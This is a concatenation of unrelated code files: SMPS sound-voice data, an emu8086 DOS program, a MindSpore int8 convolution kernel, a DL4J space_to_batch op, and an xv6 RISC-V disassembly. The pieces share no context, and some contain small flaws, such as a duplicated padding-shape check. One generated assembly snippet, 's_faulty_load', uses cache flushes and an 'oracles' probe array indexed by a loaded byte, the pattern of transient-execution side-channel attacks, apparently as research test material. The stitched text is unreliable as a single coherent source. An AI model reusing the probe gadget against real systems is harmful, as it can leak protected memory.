smpsVcCoarseFreq $00, $02, $03, $00
smpsVcRateScale $00, $00, $03, $03
smpsVcAttackRate $1F, $1F, $1F, $19
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $0F, $14, $11, $12
smpsVcDecayRate2 $0D, $0A, $00, $0A
smpsVcDecayLevel $0F, $0F, $0F, $0F
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $27, $07, $22
|
; You may customize this and other start-up templates;
; The location of this template is c:\emu8086\inc\0_com_template.txt
org 100h
.MODEL SMALL
.STACK 100H
.DATA
PRINT DB "Display: $"
.CODE
MAIN PROC
MOV AX, @DATA
MOV DS, AX
LEA DX, PRINT
MOV AH, 9
INT 21H
MOV CX, 10
MOV AH, 2
MOV DL, 48
@LOOP:
INT 21H
INC DL
DEC CX
JNZ @LOOP
MOV AH, 4CH
INT 21H
MAIN ENDP
END MAIN
ret
|
/**
* Copyright 2020 Huawei Technologies Co., Ltd
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "src/runtime/kernel/arm/int8/group_convolution_int8.h"
#include "schema/model_generated.h"
#include "src/kernel_registry.h"
#include "include/errorcode.h"
using mindspore::kernel::KERNEL_ARCH::kCPU;
using mindspore::lite::KernelRegistrar;
using mindspore::lite::RET_ERROR;
using mindspore::lite::RET_OK;
namespace mindspore::kernel {
void GroupConvolutionInt8CPUKernel::SeparateInput(int group_id) {
int in_plane = conv_param_->input_h_ * conv_param_->input_w_ * conv_param_->input_batch_;
int sub_in_channel = conv_param_->input_channel_;
int ori_in_channel = sub_in_channel * group_num_;
auto sub_in_data = reinterpret_cast<int8_t *>(group_convs_.at(group_id)->in_tensors().front()->data_c());
int8_t *src_ptr = ori_in_data_ + group_id * sub_in_channel;
int8_t *dst_ptr = sub_in_data;
for (int i = 0; i < in_plane; ++i) {
memcpy(dst_ptr, src_ptr, sub_in_channel * sizeof(int8_t));
src_ptr += ori_in_channel;
dst_ptr += sub_in_channel;
}
}
void GroupConvolutionInt8CPUKernel::PostConcat(int group_id) {
int out_plane = conv_param_->output_h_ * conv_param_->output_w_ * conv_param_->output_batch_;
int sub_out_channel = conv_param_->output_channel_;
int ori_out_channel = sub_out_channel * group_num_;
auto sub_out_data = reinterpret_cast<int8_t *>(group_convs_.at(group_id)->out_tensors().front()->data_c());
int8_t *src_ptr = sub_out_data;
int8_t *dst_ptr = ori_out_data_ + group_id * sub_out_channel;
for (int i = 0; i < out_plane; ++i) {
memcpy(dst_ptr, src_ptr, sub_out_channel * sizeof(int8_t));
src_ptr += sub_out_channel;
dst_ptr += ori_out_channel;
}
}
int GroupConvolutionInt8CPUKernel::Run() {
ori_in_data_ = reinterpret_cast<int8_t *>(in_tensors().front()->data_c());
ori_out_data_ = reinterpret_cast<int8_t *>(out_tensors().front()->data_c());
for (int i = 0; i < group_num_; ++i) {
// first, separate group conv input into several parts. This step must be in runtime stage.
SeparateInput(i);
// sun kernels run
auto ret = group_convs_.at(i)->Run();
if (ret != RET_OK) {
MS_LOG(ERROR) << "sub kernel " << i << " execute failed.";
return ret;
}
// post process, concat all outputs of sub-kernels into one output
PostConcat(i);
}
return RET_OK;
}
} // namespace mindspore::kernel
|
/* Copyright 2016 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
//
// @author Yurii Shyrma (iuriish@yahoo.com)
// @author raver119@gmail.com
//
#include <system/op_boilerplate.h>
#if NOT_EXCLUDED(OP_space_to_batch)
#include <ops/declarable/headers/parity_ops.h>
#include <ops/declarable/helpers/s_t_b.h>
namespace sd {
namespace ops {
CUSTOM_OP_IMPL(space_to_batch, 2, 1, false, 0, 1) {
// [bS, iH, iW, iC] is rearranged/permuted to [bS*blockSize*blockSize, (iH + padBottom + padTop)/blockSize, (iW + padLeft + padRight)/blockSize, iC]
auto input = INPUT_VARIABLE(0);
auto padding = INPUT_VARIABLE(1);
auto output = OUTPUT_VARIABLE(0);
const uint blockSize = INT_ARG(0);
REQUIRE_TRUE(blockSize >= 2, 0, "SpaceToBatch: integer parameter block_size must be >= 2, but got %i instead", blockSize);
REQUIRE_TRUE(input->rankOf() == 4, 0, "SpaceToBatch: rank of input array must be equal 4, but got %i instead", input->rankOf());
REQUIRE_TRUE(output->rankOf() == 4, 0, "SpaceToBatch: rank of output array must be equal 4, but got %i instead", output->rankOf());
if(padding->sizeAt(0) != 2 || padding->sizeAt(1) != 2)
REQUIRE_TRUE(false, 0, "SpaceToBatch: operation expects padding shape to be {2, 2}, but got %s instead", ShapeUtils::shapeAsString(padding).c_str());
const uint padBottom = padding->e<uint>(0,0);
const uint padTop = padding->e<uint>(0,1);
const uint padLeft = padding->e<uint>(1,0);
const uint padRight = padding->e<uint>(1,1);
REQUIRE_TRUE((input->sizeAt(1) + padBottom + padTop) % blockSize == 0 && (input->sizeAt(2) + padLeft + padRight) % blockSize == 0, 0, "SpaceToBatch: after padding, second and third dimensions of input array must be divisible by blockSize !");
if (shape::strideDescendingCAscendingF(input->shapeInfo()))
helpers::spaceToBatch(block.launchContext(), *input, *output, padBottom, padTop, padLeft, padRight, blockSize);
else
helpers::spaceToBatch(block.launchContext(), input->dup(), *output, padBottom, padTop, padLeft, padRight, blockSize);
return Status::OK();
}
////////////////////////////////////////////////////////////////////////////////
DECLARE_TYPES(space_to_batch) {
getOpDescriptor()->setAllowedInputTypes(0, sd::DataType::ANY)
->setAllowedInputTypes(1, {ALL_INTS})
->setSameMode(true);
}
////////////////////////////////////////////////////////////////////////////////
DECLARE_SHAPE_FN(space_to_batch) {
auto inputShapeInfo = inputShape->at(0);
auto paddingShapeInfo = inputShape->at(1);
const uint blockSize = INT_ARG(0);
REQUIRE_TRUE(blockSize >= 2, 0, "SpaceToBatch: integer parameter block_size must be >= 2, but got %i instead", blockSize);
const int rank = inputShapeInfo[0];
REQUIRE_TRUE(rank == 4, 0, "SpaceToBatch: rank of input array must be equal 4, but got %i instead", rank);
if(paddingShapeInfo[1] != 2 || paddingShapeInfo[1] != 2)
REQUIRE_TRUE(false, 0, "SpaceToBatch: operation expects padding shape to be {2, 2}, but got %s instead", ShapeUtils::shapeAsString(paddingShapeInfo).c_str());
const uint padBottom = INPUT_VARIABLE(1)->e<Nd4jLong>(0,0);
const uint padTop = INPUT_VARIABLE(1)->e<Nd4jLong>(0,1);
const uint padLeft = INPUT_VARIABLE(1)->e<Nd4jLong>(1,0);
const uint padRight = INPUT_VARIABLE(1)->e<Nd4jLong>(1,1);
REQUIRE_TRUE((inputShapeInfo[2] + padBottom + padTop) % blockSize == 0 && (inputShapeInfo[3] + padLeft + padRight) % blockSize == 0, 0, "SpaceToBatch: after padding, second and third dimensions of input array must be divisible by blockSize !");
return SHAPELIST(ConstantShapeHelper::getInstance().createShapeInfo(ArrayOptions::dataType(inputShapeInfo), 'c', {inputShapeInfo[1] * blockSize * blockSize, (inputShapeInfo[2] + padBottom + padTop) / blockSize, (inputShapeInfo[3] + padLeft + padRight) / blockSize, inputShapeInfo[4]}));
}
}
}
#endif
|
.global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
// Load
lea addresses_WT+0x1500e, %rsi
nop
and %rbp, %rbp
movups (%rsi), %xmm3
vpextrq $0, %xmm3, %rcx
nop
add %rbx, %rbx
// Store
lea addresses_normal+0x1630e, %rbp
clflush (%rbp)
xor $60629, %rbx
mov $0x5152535455565758, %rcx
movq %rcx, (%rbp)
nop
cmp %rcx, %rcx
// Faulty Load
lea addresses_normal+0x1090e, %rbx
nop
nop
nop
cmp $52811, %r8
mov (%rbx), %r9d
lea oracles, %rbp
and $0xff, %r9
shlq $12, %r9
mov (%rbp,%r9,1), %r9
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 0}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 0}}
<gen_prepare_buffer>
{'34': 21829}
34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
*/
|
user/_ln: file format elf64-littleriscv
Disassembly of section .text:
0000000000000000 <main>:
#include "kernel/stat.h"
#include "user/user.h"
int
main(int argc, char *argv[])
{
0: 1101 addi sp,sp,-32
2: ec06 sd ra,24(sp)
4: e822 sd s0,16(sp)
6: e426 sd s1,8(sp)
8: 1000 addi s0,sp,32
if(argc != 3){
a: 478d li a5,3
c: 02f50063 beq a0,a5,2c <main+0x2c>
fprintf(2, "Usage: ln old new\n");
10: 00000597 auipc a1,0x0
14: 7e858593 addi a1,a1,2024 # 7f8 <malloc+0xec>
18: 4509 li a0,2
1a: 00000097 auipc ra,0x0
1e: 606080e7 jalr 1542(ra) # 620 <fprintf>
exit(1);
22: 4505 li a0,1
24: 00000097 auipc ra,0x0
28: 2aa080e7 jalr 682(ra) # 2ce <exit>
2c: 84ae mv s1,a1
}
if(link(argv[1], argv[2]) < 0)
2e: 698c ld a1,16(a1)
30: 6488 ld a0,8(s1)
32: 00000097 auipc ra,0x0
36: 2fc080e7 jalr 764(ra) # 32e <link>
3a: 00054763 bltz a0,48 <main+0x48>
fprintf(2, "link %s %s: failed\n", argv[1], argv[2]);
exit(0);
3e: 4501 li a0,0
40: 00000097 auipc ra,0x0
44: 28e080e7 jalr 654(ra) # 2ce <exit>
fprintf(2, "link %s %s: failed\n", argv[1], argv[2]);
48: 6894 ld a3,16(s1)
4a: 6490 ld a2,8(s1)
4c: 00000597 auipc a1,0x0
50: 7c458593 addi a1,a1,1988 # 810 <malloc+0x104>
54: 4509 li a0,2
56: 00000097 auipc ra,0x0
5a: 5ca080e7 jalr 1482(ra) # 620 <fprintf>
5e: b7c5 j 3e <main+0x3e>
0000000000000060 <strcpy>:
#include "kernel/fcntl.h"
#include "user/user.h"
char*
strcpy(char *s, const char *t)
{
60: 1141 addi sp,sp,-16
62: e422 sd s0,8(sp)
64: 0800 addi s0,sp,16
char *os;
os = s;
while((*s++ = *t++) != 0)
66: 87aa mv a5,a0
68: 0585 addi a1,a1,1
6a: 0785 addi a5,a5,1
6c: fff5c703 lbu a4,-1(a1)
70: fee78fa3 sb a4,-1(a5)
74: fb75 bnez a4,68 <strcpy+0x8>
;
return os;
}
76: 6422 ld s0,8(sp)
78: 0141 addi sp,sp,16
7a: 8082 ret
000000000000007c <strcmp>:
int
strcmp(const char *p, const char *q)
{
7c: 1141 addi sp,sp,-16
7e: e422 sd s0,8(sp)
80: 0800 addi s0,sp,16
while(*p && *p == *q)
82: 00054783 lbu a5,0(a0)
86: cb91 beqz a5,9a <strcmp+0x1e>
88: 0005c703 lbu a4,0(a1)
8c: 00f71763 bne a4,a5,9a <strcmp+0x1e>
p++, q++;
90: 0505 addi a0,a0,1
92: 0585 addi a1,a1,1
while(*p && *p == *q)
94: 00054783 lbu a5,0(a0)
98: fbe5 bnez a5,88 <strcmp+0xc>
return (uchar)*p - (uchar)*q;
9a: 0005c503 lbu a0,0(a1)
}
9e: 40a7853b subw a0,a5,a0
a2: 6422 ld s0,8(sp)
a4: 0141 addi sp,sp,16
a6: 8082 ret
00000000000000a8 <strlen>:
uint
strlen(const char *s)
{
a8: 1141 addi sp,sp,-16
aa: e422 sd s0,8(sp)
ac: 0800 addi s0,sp,16
int n;
for(n = 0; s[n]; n++)
ae: 00054783 lbu a5,0(a0)
b2: cf91 beqz a5,ce <strlen+0x26>
b4: 0505 addi a0,a0,1
b6: 87aa mv a5,a0
b8: 4685 li a3,1
ba: 9e89 subw a3,a3,a0
bc: 00f6853b addw a0,a3,a5
c0: 0785 addi a5,a5,1
c2: fff7c703 lbu a4,-1(a5)
c6: fb7d bnez a4,bc <strlen+0x14>
;
return n;
}
c8: 6422 ld s0,8(sp)
ca: 0141 addi sp,sp,16
cc: 8082 ret
for(n = 0; s[n]; n++)
ce: 4501 li a0,0
d0: bfe5 j c8 <strlen+0x20>
00000000000000d2 <memset>:
void*
memset(void *dst, int c, uint n)
{
d2: 1141 addi sp,sp,-16
d4: e422 sd s0,8(sp)
d6: 0800 addi s0,sp,16
char *cdst = (char *) dst;
int i;
for(i = 0; i < n; i++){
d8: ca19 beqz a2,ee <memset+0x1c>
da: 87aa mv a5,a0
dc: 1602 slli a2,a2,0x20
de: 9201 srli a2,a2,0x20
e0: 00a60733 add a4,a2,a0
cdst[i] = c;
e4: 00b78023 sb a1,0(a5)
for(i = 0; i < n; i++){
e8: 0785 addi a5,a5,1
ea: fee79de3 bne a5,a4,e4 <memset+0x12>
}
return dst;
}
ee: 6422 ld s0,8(sp)
f0: 0141 addi sp,sp,16
f2: 8082 ret
00000000000000f4 <strchr>:
char*
strchr(const char *s, char c)
{
f4: 1141 addi sp,sp,-16
f6: e422 sd s0,8(sp)
f8: 0800 addi s0,sp,16
for(; *s; s++)
fa: 00054783 lbu a5,0(a0)
fe: cb99 beqz a5,114 <strchr+0x20>
if(*s == c)
100: 00f58763 beq a1,a5,10e <strchr+0x1a>
for(; *s; s++)
104: 0505 addi a0,a0,1
106: 00054783 lbu a5,0(a0)
10a: fbfd bnez a5,100 <strchr+0xc>
return (char*)s;
return 0;
10c: 4501 li a0,0
}
10e: 6422 ld s0,8(sp)
110: 0141 addi sp,sp,16
112: 8082 ret
return 0;
114: 4501 li a0,0
116: bfe5 j 10e <strchr+0x1a>
0000000000000118 <gets>:
char*
gets(char *buf, int max)
{
118: 711d addi sp,sp,-96
11a: ec86 sd ra,88(sp)
11c: e8a2 sd s0,80(sp)
11e: e4a6 sd s1,72(sp)
120: e0ca sd s2,64(sp)
122: fc4e sd s3,56(sp)
124: f852 sd s4,48(sp)
126: f456 sd s5,40(sp)
128: f05a sd s6,32(sp)
12a: ec5e sd s7,24(sp)
12c: 1080 addi s0,sp,96
12e: 8baa mv s7,a0
130: 8a2e mv s4,a1
int i, cc;
char c;
for(i=0; i+1 < max; ){
132: 892a mv s2,a0
134: 4481 li s1,0
cc = read(0, &c, 1);
if(cc < 1)
break;
buf[i++] = c;
if(c == '\n' || c == '\r')
136: 4aa9 li s5,10
138: 4b35 li s6,13
for(i=0; i+1 < max; ){
13a: 89a6 mv s3,s1
13c: 2485 addiw s1,s1,1
13e: 0344d863 bge s1,s4,16e <gets+0x56>
cc = read(0, &c, 1);
142: 4605 li a2,1
144: faf40593 addi a1,s0,-81
148: 4501 li a0,0
14a: 00000097 auipc ra,0x0
14e: 19c080e7 jalr 412(ra) # 2e6 <read>
if(cc < 1)
152: 00a05e63 blez a0,16e <gets+0x56>
buf[i++] = c;
156: faf44783 lbu a5,-81(s0)
15a: 00f90023 sb a5,0(s2)
if(c == '\n' || c == '\r')
15e: 01578763 beq a5,s5,16c <gets+0x54>
162: 0905 addi s2,s2,1
164: fd679be3 bne a5,s6,13a <gets+0x22>
for(i=0; i+1 < max; ){
168: 89a6 mv s3,s1
16a: a011 j 16e <gets+0x56>
16c: 89a6 mv s3,s1
break;
}
buf[i] = '\0';
16e: 99de add s3,s3,s7
170: 00098023 sb zero,0(s3)
return buf;
}
174: 855e mv a0,s7
176: 60e6 ld ra,88(sp)
178: 6446 ld s0,80(sp)
17a: 64a6 ld s1,72(sp)
17c: 6906 ld s2,64(sp)
17e: 79e2 ld s3,56(sp)
180: 7a42 ld s4,48(sp)
182: 7aa2 ld s5,40(sp)
184: 7b02 ld s6,32(sp)
186: 6be2 ld s7,24(sp)
188: 6125 addi sp,sp,96
18a: 8082 ret
000000000000018c <stat>:
int
stat(const char *n, struct stat *st)
{
18c: 1101 addi sp,sp,-32
18e: ec06 sd ra,24(sp)
190: e822 sd s0,16(sp)
192: e426 sd s1,8(sp)
194: e04a sd s2,0(sp)
196: 1000 addi s0,sp,32
198: 892e mv s2,a1
int fd;
int r;
fd = open(n, O_RDONLY);
19a: 4581 li a1,0
19c: 00000097 auipc ra,0x0
1a0: 172080e7 jalr 370(ra) # 30e <open>
if(fd < 0)
1a4: 02054563 bltz a0,1ce <stat+0x42>
1a8: 84aa mv s1,a0
return -1;
r = fstat(fd, st);
1aa: 85ca mv a1,s2
1ac: 00000097 auipc ra,0x0
1b0: 17a080e7 jalr 378(ra) # 326 <fstat>
1b4: 892a mv s2,a0
close(fd);
1b6: 8526 mv a0,s1
1b8: 00000097 auipc ra,0x0
1bc: 13e080e7 jalr 318(ra) # 2f6 <close>
return r;
}
1c0: 854a mv a0,s2
1c2: 60e2 ld ra,24(sp)
1c4: 6442 ld s0,16(sp)
1c6: 64a2 ld s1,8(sp)
1c8: 6902 ld s2,0(sp)
1ca: 6105 addi sp,sp,32
1cc: 8082 ret
return -1;
1ce: 597d li s2,-1
1d0: bfc5 j 1c0 <stat+0x34>
00000000000001d2 <atoi>:
int
atoi(const char *s)
{
1d2: 1141 addi sp,sp,-16
1d4: e422 sd s0,8(sp)
1d6: 0800 addi s0,sp,16
int n;
n = 0;
while('0' <= *s && *s <= '9')
1d8: 00054603 lbu a2,0(a0)
1dc: fd06079b addiw a5,a2,-48
1e0: 0ff7f793 andi a5,a5,255
1e4: 4725 li a4,9
1e6: 02f76963 bltu a4,a5,218 <atoi+0x46>
1ea: 86aa mv a3,a0
n = 0;
1ec: 4501 li a0,0
while('0' <= *s && *s <= '9')
1ee: 45a5 li a1,9
n = n*10 + *s++ - '0';
1f0: 0685 addi a3,a3,1
1f2: 0025179b slliw a5,a0,0x2
1f6: 9fa9 addw a5,a5,a0
1f8: 0017979b slliw a5,a5,0x1
1fc: 9fb1 addw a5,a5,a2
1fe: fd07851b addiw a0,a5,-48
while('0' <= *s && *s <= '9')
202: 0006c603 lbu a2,0(a3)
206: fd06071b addiw a4,a2,-48
20a: 0ff77713 andi a4,a4,255
20e: fee5f1e3 bgeu a1,a4,1f0 <atoi+0x1e>
return n;
}
212: 6422 ld s0,8(sp)
214: 0141 addi sp,sp,16
216: 8082 ret
n = 0;
218: 4501 li a0,0
21a: bfe5 j 212 <atoi+0x40>
000000000000021c <memmove>:
void*
memmove(void *vdst, const void *vsrc, int n)
{
21c: 1141 addi sp,sp,-16
21e: e422 sd s0,8(sp)
220: 0800 addi s0,sp,16
char *dst;
const char *src;
dst = vdst;
src = vsrc;
if (src > dst) {
222: 02b57463 bgeu a0,a1,24a <memmove+0x2e>
while(n-- > 0)
226: 00c05f63 blez a2,244 <memmove+0x28>
22a: 1602 slli a2,a2,0x20
22c: 9201 srli a2,a2,0x20
22e: 00c507b3 add a5,a0,a2
dst = vdst;
232: 872a mv a4,a0
*dst++ = *src++;
234: 0585 addi a1,a1,1
236: 0705 addi a4,a4,1
238: fff5c683 lbu a3,-1(a1)
23c: fed70fa3 sb a3,-1(a4)
while(n-- > 0)
240: fee79ae3 bne a5,a4,234 <memmove+0x18>
src += n;
while(n-- > 0)
*--dst = *--src;
}
return vdst;
}
244: 6422 ld s0,8(sp)
246: 0141 addi sp,sp,16
248: 8082 ret
dst += n;
24a: 00c50733 add a4,a0,a2
src += n;
24e: 95b2 add a1,a1,a2
while(n-- > 0)
250: fec05ae3 blez a2,244 <memmove+0x28>
254: fff6079b addiw a5,a2,-1
258: 1782 slli a5,a5,0x20
25a: 9381 srli a5,a5,0x20
25c: fff7c793 not a5,a5
260: 97ba add a5,a5,a4
*--dst = *--src;
262: 15fd addi a1,a1,-1
264: 177d addi a4,a4,-1
266: 0005c683 lbu a3,0(a1)
26a: 00d70023 sb a3,0(a4)
while(n-- > 0)
26e: fee79ae3 bne a5,a4,262 <memmove+0x46>
272: bfc9 j 244 <memmove+0x28>
0000000000000274 <memcmp>:
int
memcmp(const void *s1, const void *s2, uint n)
{
274: 1141 addi sp,sp,-16
276: e422 sd s0,8(sp)
278: 0800 addi s0,sp,16
const char *p1 = s1, *p2 = s2;
while (n-- > 0) {
27a: ca05 beqz a2,2aa <memcmp+0x36>
27c: fff6069b addiw a3,a2,-1
280: 1682 slli a3,a3,0x20
282: 9281 srli a3,a3,0x20
284: 0685 addi a3,a3,1
286: 96aa add a3,a3,a0
if (*p1 != *p2) {
288: 00054783 lbu a5,0(a0)
28c: 0005c703 lbu a4,0(a1)
290: 00e79863 bne a5,a4,2a0 <memcmp+0x2c>
return *p1 - *p2;
}
p1++;
294: 0505 addi a0,a0,1
p2++;
296: 0585 addi a1,a1,1
while (n-- > 0) {
298: fed518e3 bne a0,a3,288 <memcmp+0x14>
}
return 0;
29c: 4501 li a0,0
29e: a019 j 2a4 <memcmp+0x30>
return *p1 - *p2;
2a0: 40e7853b subw a0,a5,a4
}
2a4: 6422 ld s0,8(sp)
2a6: 0141 addi sp,sp,16
2a8: 8082 ret
return 0;
2aa: 4501 li a0,0
2ac: bfe5 j 2a4 <memcmp+0x30>
00000000000002ae <memcpy>:
void *
memcpy(void *dst, const void *src, uint n)
{
2ae: 1141 addi sp,sp,-16
2b0: e406 sd ra,8(sp)
2b2: e022 sd s0,0(sp)
2b4: 0800 addi s0,sp,16
return memmove(dst, src, n);
2b6: 00000097 auipc ra,0x0
2ba: f66080e7 jalr -154(ra) # 21c <memmove>
}
2be: 60a2 ld ra,8(sp)
2c0: 6402 ld s0,0(sp)
2c2: 0141 addi sp,sp,16
2c4: 8082 ret
00000000000002c6 <fork>:
# generated by usys.pl - do not edit
#include "kernel/syscall.h"
.global fork
fork:
li a7, SYS_fork
2c6: 4885 li a7,1
ecall
2c8: 00000073 ecall
ret
2cc: 8082 ret
00000000000002ce <exit>:
.global exit
exit:
li a7, SYS_exit
2ce: 4889 li a7,2
ecall
2d0: 00000073 ecall
ret
2d4: 8082 ret
00000000000002d6 <wait>:
.global wait
wait:
li a7, SYS_wait
2d6: 488d li a7,3
ecall
2d8: 00000073 ecall
ret
2dc: 8082 ret
00000000000002de <pipe>:
.global pipe
pipe:
li a7, SYS_pipe
2de: 4891 li a7,4
ecall
2e0: 00000073 ecall
ret
2e4: 8082 ret
00000000000002e6 <read>:
.global read
read:
li a7, SYS_read
2e6: 4895 li a7,5
ecall
2e8: 00000073 ecall
ret
2ec: 8082 ret
00000000000002ee <write>:
.global write
write:
li a7, SYS_write
2ee: 48c1 li a7,16
ecall
2f0: 00000073 ecall
ret
2f4: 8082 ret
00000000000002f6 <close>:
.global close
close:
li a7, SYS_close
2f6: 48d5 li a7,21
ecall
2f8: 00000073 ecall
ret
2fc: 8082 ret
00000000000002fe <kill>:
.global kill
kill:
li a7, SYS_kill
2fe: 4899 li a7,6
ecall
300: 00000073 ecall
ret
304: 8082 ret
0000000000000306 <exec>:
.global exec
exec:
li a7, SYS_exec
306: 489d li a7,7
ecall
308: 00000073 ecall
ret
30c: 8082 ret
000000000000030e <open>:
.global open
open:
li a7, SYS_open
30e: 48bd li a7,15
ecall
310: 00000073 ecall
ret
314: 8082 ret
0000000000000316 <mknod>:
.global mknod
mknod:
li a7, SYS_mknod
316: 48c5 li a7,17
ecall
318: 00000073 ecall
ret
31c: 8082 ret
000000000000031e <unlink>:
.global unlink
unlink:
li a7, SYS_unlink
31e: 48c9 li a7,18
ecall
320: 00000073 ecall
ret
324: 8082 ret
0000000000000326 <fstat>:
.global fstat
fstat:
li a7, SYS_fstat
326: 48a1 li a7,8
ecall
328: 00000073 ecall
ret
32c: 8082 ret
000000000000032e <link>:
.global link
link:
li a7, SYS_link
32e: 48cd li a7,19
ecall
330: 00000073 ecall
ret
334: 8082 ret
0000000000000336 <mkdir>:
.global mkdir
mkdir:
li a7, SYS_mkdir
336: 48d1 li a7,20
ecall
338: 00000073 ecall
ret
33c: 8082 ret
000000000000033e <chdir>:
.global chdir
chdir:
li a7, SYS_chdir
33e: 48a5 li a7,9
ecall
340: 00000073 ecall
ret
344: 8082 ret
0000000000000346 <dup>:
.global dup
dup:
li a7, SYS_dup
346: 48a9 li a7,10
ecall
348: 00000073 ecall
ret
34c: 8082 ret
000000000000034e <getpid>:
.global getpid
getpid:
li a7, SYS_getpid
34e: 48ad li a7,11
ecall
350: 00000073 ecall
ret
354: 8082 ret
0000000000000356 <sbrk>:
.global sbrk
sbrk:
li a7, SYS_sbrk
356: 48b1 li a7,12
ecall
358: 00000073 ecall
ret
35c: 8082 ret
000000000000035e <sleep>:
.global sleep
sleep:
li a7, SYS_sleep
35e: 48b5 li a7,13
ecall
360: 00000073 ecall
ret
364: 8082 ret
0000000000000366 <uptime>:
.global uptime
uptime:
li a7, SYS_uptime
366: 48b9 li a7,14
ecall
368: 00000073 ecall
ret
36c: 8082 ret
000000000000036e <setAndGetPageFaultsNum>:
.global setAndGetPageFaultsNum
setAndGetPageFaultsNum:
li a7, SYS_setAndGetPageFaultsNum
36e: 48d9 li a7,22
ecall
370: 00000073 ecall
ret
374: 8082 ret
0000000000000376 <putc>:
static char digits[] = "0123456789ABCDEF";
